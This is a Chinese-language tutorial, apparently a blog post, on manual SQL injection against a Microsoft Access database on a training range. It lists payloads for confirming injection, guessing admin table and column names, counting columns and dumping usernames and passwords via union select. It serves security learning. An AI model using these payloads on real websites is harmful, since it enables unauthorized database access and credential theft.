手工注入——access手工注入实战和分析
前言
今天进行了access手工注入,下面是我的实战过程和总结。
实战环境使用的是墨者学院的在线靶场。下面咱们直接进入主题。
判断注入点
通过‘ 或者 and 1=1 和 and 1=2 是否报错,如下图。
接下来咱们输入 and 1=2 发现报错了,说明存在注入点。如下图。
猜数据库表名
在access数据库中,打开里面直接就是表,所以我们只能猜表名,通过这条语句 and exists (select * from 表名)常见的一些表名为 admins users administrator,admin,admins,admin_user,admin_usr,admin_msg,admin_login,user,username,manager,msg_user,msg_login,useradmin等。通过猜测,我们查到 存在admin这个表,这里用到的原理是,如果存在正常显示,不存在就报错,如下图。
猜测表里有几个字段
通过order by 语句,小于输出的数字正常显示,大于输出的数字报错。我们猜出为四个字段。如下图。
猜测字段
通过这条语句 and exists (select 字段 from admin)常见的字段有 username password pass passwd user_name 等
如果对方的数据库字段较多,咱们又猜不出来,并且有回显位置,可以尝试偏移注入。这里通过直接猜测就猜出来了,如下图。
根据图片的内容我们,我们猜测出的两个字段为,username ,passwd ,根据字段名字我们就知道里面存放的为账号和密码。
联合查询爆出账号和密码
通过这条语句 union select 1,2,3,4 from admin 我们知道了,2,3,这两个位置回显到页面上,这就是我们需要的。如下图。
接下来,我们把之前查找出来的 字段 替换到2,3 两个位置,语句为 union select 1,username,passwd,4 from admin 结果为下图,爆出了账号密码。
手工注入总结
1、 先判断有没有注入点
2、 参数后面加 and exists(select*from admin) 猜表名 返回正常页面表示存在(admin)
3、 参数后面加 and exists(select username from admin)猜(admin)表中是否存在列名(username) 返回正常页面表示存在
4、 参数后面加 and exists(select passwd from admin)猜(admin)表中是否存在列名(passwd) 返回正常页面表示存在
5、 判断字段数 参数后面加 order by 4 (判断字段数为4)
6、 判断回显 参数后面加 union select 1,2,3,4 from admin
7、 爆出列名的信息 参数后面加 union select 1,username,passwd,4 from admin
8、获取到账号密码,手工注入结束。